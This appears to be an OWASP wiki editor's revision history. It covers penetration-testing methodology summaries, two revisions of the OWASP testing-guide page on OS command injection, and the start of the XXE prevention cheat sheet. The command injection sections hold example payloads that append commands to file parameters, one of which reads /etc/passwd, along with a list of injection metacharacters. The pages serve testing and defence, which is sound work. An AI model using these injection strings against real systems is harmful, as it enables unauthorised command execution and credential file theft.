* http://csrc.nist.gov/news_events/hiipaa_june2012/day2/day2-6_kscarfone-rmetzer_security-testing-assessment.pdf
* http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html
* https://www.owasp.org/images/0/04/Security_Testing_Guidelines_for_mobile_Apps_-_Florian_Stahl%2BJohannes_Stroeher.pdf
* http://www.mcafee.com/tw/resources/white-papers/foundstone/wp-pen-testing-android-apps.pdf
* https://www.kali.org/
* http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines
* https://sourceforge.net/projects/isstf/
* https://sourceforge.net/projects/isstf/files/issaf%20document/issaf0.1/
* https://www.pcisecuritystandards.org/pdfs/infosupp_11_3_penetration_testing.pdf
* https://www.fedramp.gov/assets/resources/documents/CSP_Penetration_Test_Guidance.pdf
* https://www.crest-approved.org/wp-content/uploads/CREST-Penetration-Testing-Guide.pdf

Penetration testing methodologies

2019-02-20T03:12:09Z

Tony Hsu HsiangChih:

== Summary ==
* OWASP testing guide
* PCI Penetration testing guide
* Penetration Testing Execution Standard
* NIST 800-115
* Penetration Testing Framework
* Information Systems Security Assessment Framework (ISSAF)
* Open Source Security Testing Methodology Manual (“OSSTMM”)

== Penetration Testing Execution Standard (PTES) ==
PTES defines penetration testing as 7 phases.

* Pre-engagement Interactions
* Intelligence Gathering
* Threat Modeling
* Vulnerability Analysis
* Exploitation
* Post Exploitation
* Reporting

Instead of simply methodology or process, PTES also provides hands-on technical guidelines for what/how to test, the rationale of testing and recommended testing tools and usage.

http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines

== PCI Penetration testing guide ==
Payment Card Industry Data Security Standard (PCI DSS) Requirement 11.3 defines the penetration testing.
PCI also defines Penetration Testing Guidance.

=== PCI DSS Penetration Testing guidance ===
The PCI DSS Penetration testing guideline provides a very good reference of the following area while it's not a hands-on technical guideline to introduce testing tools.

* Penetration Testing Components
* Qualifications of a Penetration Tester
* Penetration Testing Methodologies
* Penetration Testing Reporting Guidelines

=== PCI DSS Penetration Testing Requirements ===
The PCI DSS requirement refer to Payment Card Industry Data Security Standard (PCI DSS) Requirement 11.3
* Based on industry-accepted approaches
* Coverage for CDE and critical systems
* Includes external and internal testing
* Test to validate scope reduction
* Application-layer testing
* Network-layer tests for network and OS

== Penetration Testing Framework ==
The Penetration testing framework provides very comprehensive hands-on penetration testing guide. It also list usage of the testing tools in each testing category. The major area of penetration testing includes -

* Network Footprinting (Reconnaissance)
* Discovery & Probing
* Enumeration
* Password cracking
* Vulnerability Assessment
* AS/400 Auditing
* Bluetooth Specific Testing
* Cisco Specific Testing
* Citrix Specific Testing
* Network Backbone
* Server Specific Tests
* VoIP Security
* Wireless Penetration
* Physical Security
* Final Report - template

http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html

== Technical Guide to Information Security Testing and Assessment (NIST800-115)==

== Information Systems Security Assessment Framework (ISSAF) ==

The ISSAF is a very good reference source of penetration testing though Information Systems Security Assessment Framework (ISSAF) which is not an active community. It provides comprehensive step-by-step penetration testing technical guidance.

The ISSAF penetration testing guide can be downloaded here. https://sourceforge.net/projects/isstf/

It covers the area below.
* Project Management
* Guidelines And Best Practices – Pre Assessment, Assessment And Post Assessment
* Assessment Methodology
* Review Of Information Security Policy And Security Organization
* Evaluation Of Risk Assessment Methodology
* Technical Control Assessment
* Technical Control Assessment - Methodology
* Password Security
* Password Cracking Strategies
* Unix /Linux System Security Assessment
* Windows System Security Assessment
* Novell Netware Security Assessment
* Database Security Assessment
* Wireless Security Assessment
* Switch Security Assessment
* Router Security Assessment
* Firewall Security Assessment
* Intrusion Detection System Security Assessment
* VPN Security Assessment
* Anti-Virus System Security Assessment And Management Strategy
* Web Application Security Assessment
* Storage Area Network (San) Security
* Internet User Security
* As 400 Security
* Source Code Auditing
* Binary Auditing
* Social Engineering
* Physical Security Assessment
* Incident Analysis
* Review Of Logging / Monitoring & Auditing Processes
* Business Continuity Planning And Disaster Recovery
* Security Awareness And Training
* Outsourcing Security Concerns
* Knowledge Base
* Legal Aspects Of Security Assessment Projects
* Non-Disclosure Agreement (NDA)
* Security Assessment Contract
* Request For Proposal Template
* Desktop Security Check-List - Windows
* Linux Security Check-List
* Solaris Operating System Security Check-List
* Default Ports - Firewall
* Default Ports – IDS/IPS
* Links
* Penetration Testing Lab Design

== Open Source Security Testing Methodology Manual (OSSTMM) ==
OSSTMM is a methodology to test the operational security of physical locations, workflow, human security testing, physical security testing, wireless security testing, telecommunication security testing, data networks security testing and compliance.
OSSTMM can be supporting reference of IOS 27001 instead of a hands-on penetration testing guide.

OSSTMM includes the following key sections:
** Operational Security Metrics
** Trust Analysis
** Work Flow.
** Human Security Testing
** Physical Security Testing
** Wireless Security Testing
** Telecommunications Security Testing
** Data Networks Security Testing
** Compliance Regulations
** Reporting with the STAR (Security Test Audit Report)

== FedRAMP Penetration Test Guidance ==
To be updated

== Reference ==
* https://www.pcisecuritystandards.org/documents/Penetration_Testing_Guidance_March_2015.pdf
* http://www.pentest-standard.org/index.php/Main_Page
* http://www.isecom.org/research/osstmm.html
* http://csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf
* http://csrc.nist.gov/news_events/hiipaa_june2012/day2/day2-6_kscarfone-rmetzer_security-testing-assessment.pdf
* http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html
* https://www.owasp.org/images/0/04/Security_Testing_Guidelines_for_mobile_Apps_-_Florian_Stahl%2BJohannes_Stroeher.pdf
* http://www.mcafee.com/tw/resources/white-papers/foundstone/wp-pen-testing-android-apps.pdf
* https://www.kali.org/
* http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines
* https://sourceforge.net/projects/isstf/
* https://sourceforge.net/projects/isstf/files/issaf%20document/issaf0.1/
* https://www.pcisecuritystandards.org/pdfs/infosupp_11_3_penetration_testing.pdf
* https://www.fedramp.gov/assets/resources/documents/CSP_Penetration_Test_Guidance.pdf

Penetration testing methodologies

2019-02-20T02:52:16Z

Tony Hsu HsiangChih: /* Information Systems Security Assessment Framework (ISSAF) */

== Summary ==
* OWASP testing guide
* PCI Penetration testing guide
* Penetration Testing Execution Standard
* NIST 800-115
* Penetration Testing Framework
* Information Systems Security Assessment Framework (ISSAF)
* Open Source Security Testing Methodology Manual (“OSSTMM”)

== Penetration Testing Execution Standard (PTES) ==
PTES defines penetration testing as 7 phases.

* Pre-engagement Interactions
* Intelligence Gathering
* Threat Modeling
* Vulnerability Analysis
* Exploitation
* Post Exploitation
* Reporting

Instead of simply methodology or process, PTES also provides hands-on technical guidelines for what/how to test, rationale of testing and recommended testing tools and usage.

http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines

== PCI Penetration testing guide ==
Payment Card Industry Data Security Standard (PCI DSS) Requirement 11.3 defines the penetration testing.
PCI also defines Penetration Testing Guidance.

=== PCI DSS Penetration Testing guidance ===
The PCI DSS Penetration testing guideline provides a very good reference of the following area while it's not a hands-on technical guideline to introduce testing tools.

* Penetration Testing Components
* Qualifications of a Penetration Tester
* Penetration Testing Methodologies
* Penetration Testing Reporting Guidelines

=== PCI DSS Penetration Testing Requirements ===
The PCI DSS requirement refer to Payment Card Industry Data Security Standard (PCI DSS) Requirement 11.3
* Based on industry-accepted approaches
* Coverage for CDE and critical systems
* Includes external and internal testing
* Test to validate scope reduction
* Application-layer testing
* Network-layer tests for network and OS

== Penetration Testing Framework ==
The Penetration testing framework provides very comprehensive hands-on penetration testing guide. It also list usage of the testing tools in each testing category. The major area of penetration testing includes -

* Network Footprinting (Reconnaissance)
* Discovery & Probing
* Enumeration
* Password cracking
* Vulnerability Assessment
* AS/400 Auditing
* Bluetooth Specific Testing
* Cisco Specific Testing
* Citrix Specific Testing
* Network Backbone
* Server Specific Tests
* VoIP Security
* Wireless Penetration
* Physical Security
* Final Report - template

http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html

== Technical Guide to Information Security Testing and Assessment (NIST800-115)==

== Information Systems Security Assessment Framework (ISSAF) ==

The ISSAF is a very good reference source of penetration testing though Information Systems Security Assessment Framework (ISSAF) which is not an active community. It provides comprehensive step-by-step penetration testing technical guidances.

The ISSAF penetration testing guide can be downloaded here. https://sourceforge.net/projects/isstf/

It covers the area below.
* Project Management
* Guidelines And Best Practices – Pre Assessment, Assessment And Post Assessment
* Assessment Methodology
* Review Of Information Security Policy And Security Organization
* Evaluation Of Risk Assessment Methodology
* Technical Control Assessment
* Technical Control Assessment - Methodology
* Password Security
* Password Cracking Strategies
* Unix /Linux System Security Assessment
* Windows System Security Assessment
* Novell Netware Security Assessment
* Database Security Assessment
* Wireless Security Assessment
* Switch Security Assessment
* Router Security Assessment
* Firewall Security Assessment
* Intrusion Detection System Security Assessment
* VPN Security Assessment
* Anti-Virus System Security Assessment And Management Strategy
* Web Application Security Assessment
* Storage Area Network (San) Security
* Internet User Security
* As 400 Security
* Source Code Auditing
* Binary Auditing
* Social Engineering
* Physical Security Assessment
* Incident Analysis
* Review Of Logging / Monitoring & Auditing Processes
* Business Continuity Planning And Disaster Recovery
* Security Awareness And Training
* Outsourcing Security Concerns
* Knowledge Base
* Legal Aspects Of Security Assessment Projects
* Non-Disclosure Agreement (NDA)
* Security Assessment Contract
* Request For Proposal Template
* Desktop Security Check-List - Windows
* Linux Security Check-List
* Solaris Operating System Security Check-List
* Default Ports - Firewall
* Default Ports – IDS/IPS
* Links
* Penetration Testing Lab Design

== Open Source Security Testing Methodology Manual (OSSTMM) ==
OSSTMM is a methodology to test the operational security of physical locations, workflow, human security testing, physical security testing, wireless security testing, telecommunication security testing, data networks security testing and compliance.
OSSTMM can be supporting reference of IOS 27001 instead of a hands-on penetration testing guide.

OSSTMM includes the following key sections:
** Operational Security Metrics
** Trust Analysis
** Work Flow.
** Human Security Testing
** Physical Security Testing
** Wireless Security Testing
** Telecommunications Security Testing
** Data Networks Security Testing
** Compliance Regulations
** Reporting with the STAR (Security Test Audit Report)

== Reference ==
* https://www.pcisecuritystandards.org/documents/Penetration_Testing_Guidance_March_2015.pdf
* http://www.pentest-standard.org/index.php/Main_Page
* http://www.isecom.org/research/osstmm.html
* http://csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf
* http://csrc.nist.gov/news_events/hiipaa_june2012/day2/day2-6_kscarfone-rmetzer_security-testing-assessment.pdf
* http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html
* https://www.owasp.org/images/0/04/Security_Testing_Guidelines_for_mobile_Apps_-_Florian_Stahl%2BJohannes_Stroeher.pdf
* http://www.mcafee.com/tw/resources/white-papers/foundstone/wp-pen-testing-android-apps.pdf
* https://www.kali.org/
* http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines
* https://sourceforge.net/projects/isstf/
* https://sourceforge.net/projects/isstf/files/issaf%20document/issaf0.1/
* https://www.pcisecuritystandards.org/pdfs/infosupp_11_3_penetration_testing.pdf

Testing for Command Injection (OTG-INPVAL-013)

2018-08-29T07:48:58Z

Tony Hsu HsiangChih: updated PHP command injection

{{Template:OWASP Testing Guide v4}}

== Summary ==
This article describes how to test an application for OS command injection. The tester will try to inject an OS command through an HTTP request to the application.

OS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords. OS command injection is preventable when security is emphasized during the design and development of applications.

== How to Test ==
When viewing a file in a web application, the file name is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol “|” onto the end of the file name.

Example URL before alteration: 

<nowiki>http://sensitive/cgi-bin/userData.pl?doc=user1.txt</nowiki> 

Example URL modified: 

<nowiki>http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|</nowiki> 

This will execute the command “/bin/ls”. 

Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. %3B is url encoded and decodes to semicolon
 

Example: 
<nowiki>http://sensitive/something.php?dir=%3Bcat%20/etc/passwd</nowiki> 

'''Example''' 
Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up WebScarab, you can obtain a POST HTTP like the following:

<pre>
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf
</pre>

In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following:

<pre>
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf+|+Dir c:\
</pre>

If the application doesn't validate the request, we can obtain the following result:
<pre>
Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'
Output...
Il volume nell'unità C non ha etichetta.
Numero di serie Del volume: 8E3F-4B61
Directory of c:\
18/10/2006 00:27 2,675 Dir_Prog.txt
18/10/2006 00:28 3,887 Dir_ProgFile.txt
16/11/2006 10:43
Doc
11/11/2006 17:25
Documents and Settings
25/10/2006 03:11
I386
14/11/2006 18:51
h4ck3r
30/09/2005 21:40 25,934
OWASP1.JPG
03/11/2006 18:29
Prog
18/11/2006 11:20
Program Files
16/11/2006 21:12
Software
24/10/2006 18:25
Setup
24/10/2006 23:37
Technologies
18/11/2006 11:14
3 File 32,496 byte
13 Directory 6,921,269,248 byte disponibili
Return code: 0
</pre>

In this case, we have successfully performed an OS injection attack.

== Special Characters for Comand Injection ==
The following special character can be used for command injection such as | ; & $ > < ` \ !
* cmd1|cmd2 : Uses of | will make command 2 to be executed weather command 1 execution is successful or not.

* cmd1;cmd2 : Uses of ; will make command 2 to be executed weather command 1 execution is successful or not.
* cmd1||cmd2 : Command 2 will only be executed if command 1 execution fails.
* cmd1&&cmd2 : Command 2 will only be executed if command 1 execution succeeds.
* $(cmd) : For example, echo $(whoami) or $(touch test.sh; echo 'ls' > test.sh)
* 'cmd' : It's used to execute specific command. For example, 'whoami'
* >(cmd): <(ls)
* <(cmd): >(ls)

== Code Review Dangerous API ==
Be aware of the uses of the following API as it may introduce the command injection risks.

Java
* Runtime.exec()
* getParameter
* getRuntime.exec()
* ProcessBuilder.start()
* setAttribute putValue getValue
* java.net.Socket java.io.fileInputStream java.io.FileReader

C/C++
* system
* exec
* ShellExecute
* execlp

Python
* exec

* eval

* os.system
* os.popen
* subprocess.popen
* subprocess.call

PHP
* system
* shell_exec
* exec
* proc_open
* eval 
* passthru
* proc_open
* expect_open
* ssh2_exec
* popen

Perl
* CGI.pm
* referer
* cookie
* ReadParse

ASP.NET
* HttpRequest.Params
* HttpRequest.Url
* HttpRequest.Item

== Remediation ==
===Sanitization===
The URL and form data needs to be sanitized for invalid characters. A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet. A “white list” containing only allowable characters or command list should be created to validate the user input. Characters that were missed, as well as undiscovered threats, should be eliminated by this list.

Genereal blacklist to be included for commannd injection can be | ; & $ > < ' \ ! >> #

Escape or filter special characters for windows, ( ) < > & * ‘ | = ? ; [ ] ^ ~ ! . ” % @ / \ : + , ` Escape or filter special characters for Linux, { } ( ) < > & * ‘ | = ? ; [ ] $ – # ~ ! . ” % / \ : + , `

===Permissions===
The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view

== Tools ==
* OWASP [[OWASP WebScarab Project |WebScarab]]
* OWASP [[OWASP WebGoat Project|WebGoat]]
* [https://github.com/commixproject/commix Commix]

== References ==
* http://www.securityfocus.com/infocus/1709
* http://projects.webappsec.org/w/page/13246950/OS%20Commanding
* https://cwe.mitre.org/data/definitions/78.html
* https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=2130132

Testing for Command Injection (OTG-INPVAL-013)

2018-08-29T07:09:11Z

Tony Hsu HsiangChih: /* Code Review Dangerous API */

{{Template:OWASP Testing Guide v4}}

== Summary ==
This article describes how to test an application for OS command injection. The tester will try to inject an OS command through an HTTP request to the application.

OS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords. OS command injection is preventable when security is emphasized during the design and development of applications.

== How to Test ==
When viewing a file in a web application, the file name is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol “|” onto the end of the file name.

Example URL before alteration: 

<nowiki>http://sensitive/cgi-bin/userData.pl?doc=user1.txt</nowiki> 

Example URL modified: 

<nowiki>http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|</nowiki> 

This will execute the command “/bin/ls”. 

Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. %3B is url encoded and decodes to semicolon
 

Example: 
<nowiki>http://sensitive/something.php?dir=%3Bcat%20/etc/passwd</nowiki> 

'''Example''' 
Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up WebScarab, you can obtain a POST HTTP like the following:

<pre>
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf
</pre>

In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following:

<pre>
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf+|+Dir c:\
</pre>

If the application doesn't validate the request, we can obtain the following result:
<pre>
Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'
Output...
Il volume nell'unità C non ha etichetta.
Numero di serie Del volume: 8E3F-4B61
Directory of c:\
18/10/2006 00:27 2,675 Dir_Prog.txt
18/10/2006 00:28 3,887 Dir_ProgFile.txt
16/11/2006 10:43
Doc
11/11/2006 17:25
Documents and Settings
25/10/2006 03:11
I386
14/11/2006 18:51
h4ck3r
30/09/2005 21:40 25,934
OWASP1.JPG
03/11/2006 18:29
Prog
18/11/2006 11:20
Program Files
16/11/2006 21:12
Software
24/10/2006 18:25
Setup
24/10/2006 23:37
Technologies
18/11/2006 11:14
3 File 32,496 byte
13 Directory 6,921,269,248 byte disponibili
Return code: 0
</pre>

In this case, we have successfully performed an OS injection attack.

== Special Characters for Comand Injection ==
The following special character can be used for command injection such as | ; & $ > < ` \ !
* cmd1|cmd2 : Uses of | will make command 2 to be executed weather command 1 execution is successful or not.

* cmd1;cmd2 : Uses of ; will make command 2 to be executed weather command 1 execution is successful or not.
* cmd1||cmd2 : Command 2 will only be executed if command 1 execution fails.
* cmd1&&cmd2 : Command 2 will only be executed if command 1 execution succeeds.
* $(cmd) : For example, echo $(whoami) or $(touch test.sh; echo 'ls' > test.sh)
* 'cmd' : It's used to execute specific command. For example, 'whoami'
* >(cmd): <(ls)
* <(cmd): >(ls)

== Code Review Dangerous API ==
Be aware of the uses of the following API as it may introduce the command injection risks.

Java
* Runtime.exec()
* getParameter
* getRuntime.exec()
* ProcessBuilder.start()
* setAttribute putValue getValue
* java.net.Socket java.io.fileInputStream java.io.FileReader

C/C++
* system
* exec
* ShellExecute
* execlp

Python
* exec

* eval

* os.system
* os.popen
* subprocess.popen
* subprocess.call

PHP
* system
* shell_exec
* exec
* proc_open
* eval 

Perl
* CGI.pm
* referer
* cookie
* ReadParse

ASP.NET
* HttpRequest.Params
* HttpRequest.Url
* HttpRequest.Item

== Remediation ==
===Sanitization===
The URL and form data needs to be sanitized for invalid characters. A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet. A “white list” containing only allowable characters or command list should be created to validate the user input. Characters that were missed, as well as undiscovered threats, should be eliminated by this list.

Genereal blacklist to be included for commannd injection can be | ; & $ > < ' \ ! >> #

Escape or filter special characters for windows, ( ) < > & * ‘ | = ? ; [ ] ^ ~ ! . ” % @ / \ : + , ` Escape or filter special characters for Linux, { } ( ) < > & * ‘ | = ? ; [ ] $ – # ~ ! . ” % / \ : + , `

===Permissions===
The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view

== Tools ==
* OWASP [[OWASP WebScarab Project |WebScarab]]
* OWASP [[OWASP WebGoat Project|WebGoat]]
* [https://github.com/commixproject/commix Commix]

== References ==
* http://www.securityfocus.com/infocus/1709
* http://projects.webappsec.org/w/page/13246950/OS%20Commanding
* https://cwe.mitre.org/data/definitions/78.html
* https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=2130132

XML External Entity (XXE) Prevention Cheat Sheet

2018-08-29T02:12:04Z

Tony Hsu HsiangChih: update libxml2 APIs review

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
 
__TOC__{{TOC hidden}}
= Introduction =

XML eXternal Entity injection (XXE), which is now part of the [[Top_10-2017_A4-XML_External_Entities_(XXE)| OWASP Top 10]], is a type of attack against an application that parses XML input. This attack occurs when untrusted XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, [[Server Side Request Forgery]] (SSRF), port scanning from the perspective of the machine where the parser is located, and other system impacts. The following guide provides concise information to prevent this vulnerability. For more information on XXE, please visit [[XML External Entity (XXE) Processing]].

==General Guidance==
The safest way to prevent XXE is always to disable DTDs (External Entities) completely. Depending on the parser, the method should be similar to the following:
'''<nowiki>factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);</nowiki>'''

Disabling DTDs also makes the parser secure against denial of services (DOS) attacks such as Billion Laughs. If it is not possible to disable DTDs completely, then external entities and external document type declarations must be disabled in the way that’s specific to each parser.

Detailed XXE Prevention guidance for a number of languages and commonly used XML parsers in those languages is provided below.

==C/C++==

===libxml2===

The Enum [http://xmlsoft.org/html/libxml-parser.html#xmlParserOption xmlParserOption] should not have the following options defined:

* XML_PARSE_NOENT: Expands entities and substitutes them with replacement text
* XML_PARSE_DTDLOAD: Load the external DTD

Note: Per: https://mail.gnome.org/archives/xml/2012-October/msg00045.html, starting with libxml2 version 2.9, XXE has been disabled by default as committed by the following patch: http://git.gnome.org/browse/libxml2/commit/?id=4629ee02ac649c27f9c0cf98ba017c6b5526070f.

Search for the usage of the following APIs to ensure there is no "XML_PARSE_NOENT" and "XML_PARSE_DTDLOAD" defined in the parameters.
* xmlCtxtReadDoc 、xmlCtxtReadFd 、xmlCtxtReadFile 、xmlCtxtReadIO 、xmlCtxtReadMemory 、xmlCtxtUseOptions 、xmlParseInNodeContext 、xmlReadDoc 、xmlReadFd 、xmlReadFile 、xmlReadIO 、xmlReadMemory

===libxerces-c===
Use of XercesDOMParser do this to prevent XXE:
XercesDOMParser *parser = new XercesDOMParser;
parser->setCreateEntityReferenceNodes(false);

Use of SAXParser, do this to prevent XXE:
SAXParser* parser = new SAXParser;
parser->setDisableDefaultEntityResolution(true);

Use of SAX2XMLReader, do this to prevent XXE:
SAX2XMLReader* reader = XMLReaderFactory::createXMLReader();
parser->setFeature(XMLUni::fgXercesDisableDefaultEntityResolution, true);

==Java==

Java applications using XML libraries are particularly vulnerable to XXE because the default settings for most Java XML parsers is to have XXE enabled. To use these parsers safely, you have to explicitly disable XXE in the parser you use. The following describes how to disable XXE in the most commonly used XML parsers for Java.

===JAXP DocumentBuilderFactory, SAXParserFactory and DOM4J===

DocumentBuilderFactory, SAXParserFactory and DOM4J XML Parsers can be configured using the same techniques to protect them against XXE. Only the DocumentBuilderFactory example is presented here. The JAXP DocumentBuilderFactory [http://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/DocumentBuilderFactory.html#setFeature(java.lang.String,%20boolean) setFeature] method allows a developer to control which implementation-specific XML processor features are enabled or disabled. The features can either be set on the factory or the underlying XMLReader [http://docs.oracle.com/javase/7/docs/api/org/xml/sax/XMLReader.html#setFeature%28java.lang.String,%20boolean%29 setFeature] method. Each XML processor implementation has its own features that govern how DTDs and external entities are processed.

For a syntax highlighted example code snippet using SAXParserFactory, look [https://gist.github.com/asudhakar02/45e2e6fd8bcdfb4bc3b2 here].

'''<nowiki>import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException; // catching unsupported features
...

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = null;
try {
// This is the PRIMARY defense. If DTDs (doctypes) are disallowed, almost all XML entity attacks are prevented
// Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);

// If you can't completely disable DTDs, then at least do the following:
// Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities
// Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities
// JDK7+ - http://xml.org/sax/features/external-general-entities
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);

// Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities
// Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities
// JDK7+ - http://xml.org/sax/features/external-parameter-entities
FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);

// Disable external DTDs as well
FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
dbf.setFeature(FEATURE, false);

// and these as well, per Timothy Morgan's 2014 paper: "XML Schema, DTD, and Entity Attacks"
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

// And, per Timothy Morgan: "If for some reason support for inline DOCTYPEs are a requirement, then
// ensure the entity settings are disabled (as shown above) and beware that SSRF attacks
// (http://cwe.mitre.org/data/definitions/918.html) and denial
// of service attacks (such as billion laughs or decompression bombs via "jar:") are a risk."

// remaining parser logic
...
} catch (ParserConfigurationException e) {
// This should catch a failed setFeature feature
logger.info("ParserConfigurationException was thrown. The feature '" +
FEATURE + "' is probably not supported by your XML processor.");
...
}
catch (SAXException e) {
// On Apache, this should be thrown when disallowing DOCTYPE
logger.warning("A DOCTYPE was passed into the XML document");
...
}
catch (IOException e) {
// XXE that points to a file that doesn't exist
logger.error("IOException occurred, XXE may still possible: " + e.getMessage());
...
}
DocumentBuilder safebuilder = dbf.newDocumentBuilder();</nowiki>'''

[http://xerces.apache.org/xerces-j/ Xerces 1] [http://xerces.apache.org/xerces-j/features.html Features]:
* Do not include external entities by setting [http://xerces.apache.org/xerces-j/features.html#external-general-entities this feature] to <code>false</code>.
* Do not include parameter entities by setting [http://xerces.apache.org/xerces-j/features.html#external-parameter-entities this feature] to <code>false</code>.
* Do not include external DTDs by setting [http://xerces.apache.org/xerces-j/features.html#load-external-dtd this feature] to <code>false</code>.

[http://xerces.apache.org/xerces2-j/ Xerces 2] [http://xerces.apache.org/xerces2-j/features.html Features]:
